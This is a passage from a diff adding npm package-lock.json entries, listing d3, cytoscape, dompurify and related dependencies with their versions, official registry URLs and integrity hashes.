"https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/client-only": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz", + "integrity": "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==" + }, + "node_modules/clipboardy": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/clipboardy/-/clipboardy-1.2.2.tgz", + "integrity": "sha512-16KrBOV7bHmHdxcQiCvfUFYVFyEah4FI8vYT1Fr7CGSA4G+xBWMEfUEQJS1hxeHGtI9ju1Bzs9uXSbj5HZKArw==", + "dependencies": { + "arch": "^2.1.0", + "execa": "^0.8.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/clsx": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.0.tgz", + "integrity": "sha512-m3iNNWpd9rl3jvvcBnu70ylMdrXt8Vlq4HYadnU5fwcOtvkSQWPmj7amUcDT2qYI7risszBjI5AUIUox9D16pg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "engines": { + "node": ">= 12" + } + }, + "node_modules/compute-scroll-into-view": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/compute-scroll-into-view/-/compute-scroll-into-view-3.1.0.tgz", + "integrity": "sha512-rj8l8pD4bJ1nx+dAkMhV1xB5RuZEyVysfxJqB1pRchh1KVvwOv9b7CGB8ZfjTImVv2oF+sYMUkMZq6Na5Ftmbg==" + }, + "node_modules/cose-base": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/cose-base/-/cose-base-1.0.3.tgz", + "integrity": "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==", + "dependencies": { + "layout-base": "^1.0.0" + } + }, + "node_modules/cross-spawn": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", + "integrity": "sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==", + "dependencies": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==" + }, + "node_modules/cytoscape": { + "version": "3.28.1", + "resolved": "https://registry.npmjs.org/cytoscape/-/cytoscape-3.28.1.tgz", + "integrity": "sha512-xyItz4O/4zp9/239wCcH8ZcFuuZooEeF8KHRmzjDfGdXsj3OG9MFSMA0pJE0uX3uCN/ygof6hHf4L7lst+JaDg==", + "dependencies": { + "heap": "^0.2.6", + "lodash": "^4.17.21" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/cytoscape-cose-bilkent": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cytoscape-cose-bilkent/-/cytoscape-cose-bilkent-4.1.0.tgz", + "integrity": "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==", + "dependencies": { + "cose-base": "^1.0.0" + }, + "peerDependencies": { + "cytoscape": "^3.2.0" + } + }, + "node_modules/d3": { + "version": "7.9.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-7.9.0.tgz", + "integrity": "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA==", + "dependencies": { + "d3-array": "3", + "d3-axis": "3", + "d3-brush": "3", + "d3-chord": "3", + "d3-color": "3", + "d3-contour": "4", + "d3-delaunay": "6", + "d3-dispatch": "3", + "d3-drag": "3", + "d3-dsv": "3", + "d3-ease": "3", + "d3-fetch": "3", + "d3-force": "3", + "d3-format": "3", + "d3-geo": "3", + "d3-hierarchy": "3", + "d3-interpolate": "3", + "d3-path": "3", + "d3-polygon": "3", + "d3-quadtree": "3", + "d3-random": "3", + "d3-scale": "4", + "d3-scale-chromatic": "3", + "d3-selection": "3", + "d3-shape": "3", + "d3-time": "3", + "d3-time-format": "4", + "d3-timer": "3", + "d3-transition": "3", + "d3-zoom": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-axis": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-3.0.0.tgz", + "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-brush": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-3.0.0.tgz", + "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "3", + "d3-transition": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-chord": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-3.0.1.tgz", + "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", + "dependencies": { + "d3-path": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-contour": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-4.0.2.tgz", + "integrity": "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==", + "dependencies": { + "d3-array": "^3.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-delaunay": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.4.tgz", + "integrity": "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==", + "dependencies": { + "delaunator": "5" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dispatch": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-drag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-selection": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dsv": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-3.0.1.tgz", + "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", + "dependencies": { + "commander": "7", + "iconv-lite": "0.6", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json.js", + "csv2tsv": "bin/dsv2dsv.js", + "dsv2dsv": "bin/dsv2dsv.js", + "dsv2json": "bin/dsv2json.js", + "json2csv": "bin/json2dsv.js", + "json2dsv": "bin/json2dsv.js", + "json2tsv": "bin/json2dsv.js", + "tsv2csv": "bin/dsv2dsv.js", + "tsv2json": "bin/dsv2json.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dsv/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-fetch": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-3.0.1.tgz", + "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", + "dependencies": { + "d3-dsv": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-force": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-3.0.0.tgz", + "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-quadtree": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-geo": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.1.tgz", + "integrity": "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q==", + "dependencies": { + "d3-array": "2.5.0 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-hierarchy": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", + "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-polygon": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-3.0.1.tgz", + "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-quadtree": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-3.0.1.tgz", + "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-random": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-3.0.1.tgz", + "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-sankey": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/d3-sankey/-/d3-sankey-0.12.3.tgz", + "integrity": "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ==", + "dependencies": { + "d3-array": "1 - 2", + "d3-shape": "^1.2.0" + } + }, + "node_modules/d3-sankey/node_modules/d3-array": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-2.12.1.tgz", + "integrity": "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ==", + "dependencies": { + "internmap": "^1.0.0" + } + }, + "node_modules/d3-sankey/node_modules/d3-path": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", + "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" + }, + "node_modules/d3-sankey/node_modules/d3-shape": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", + "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "dependencies": { + "d3-path": "1" + } + }, + "node_modules/d3-sankey/node_modules/internmap": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-1.0.1.tgz", + "integrity": "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw==" + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale-chromatic": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-3.1.0.tgz", + "integrity": "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ==", + "dependencies": { + "d3-color": "1 - 3", + "d3-interpolate": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-selection": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "dependencies": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "d3-selection": "2 - 3" + } + }, + "node_modules/d3-zoom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dagre-d3-es": { + "version": "7.0.10", + "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.10.tgz", + "integrity": "sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==", + "dependencies": { + "d3": "^7.8.2", + "lodash-es": "^4.17.21" + } + }, + "node_modules/dayjs": { + "version": "1.11.10", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.10.tgz", + "integrity": "sha512-vjAczensTgRcqDERK0SR2XMwsF/tSvnvlv6VcF2GIhg6Sx4yOIt/irsr1RDJsKiIyBzJDpCoXiWWq28MqH2cnQ==" + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz", + "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/delaunator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.0.1.tgz", + "integrity": "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw==", + "dependencies": { + "robust-predicates": "^3.0.2" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/diff": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz", + "integrity": "sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/dompurify": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.0.11.tgz", + "integrity": "sha512-Fan4uMuyB26gFV3ovPoEoQbxRRPfTu3CvImyZnhGq5fsIEO+gEFLp45ISFt+kQBWsK5ulDdT0oV28jS1UrwQLg==" + }, + "node_modules/elkjs": { + "version": "0.9.2", + "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.9.2.tgz", + "integrity": "sha512-2Y/RaA1pdgSHpY0YG4TYuYCD2wh97CRvu22eLG3Kz0pgQ/6KbIFTxsTnDc4MH/6hFlg2L/9qXrDMG0nMjP63iw==" + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estree-util-attach-comments": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/estree-util-attach-comments/-/estree-util-attach-comments-2.1.1.tgz", + "integrity": "sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==", + "dependencies": { + "@types/estree": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-build-jsx": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/estree-util-build-jsx/-/estree-util-build-jsx-2.2.2.tgz", + "integrity": "sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "estree-walker": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/estree-util-is-identifier-name": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-2.1.0.tgz", + "integrity": 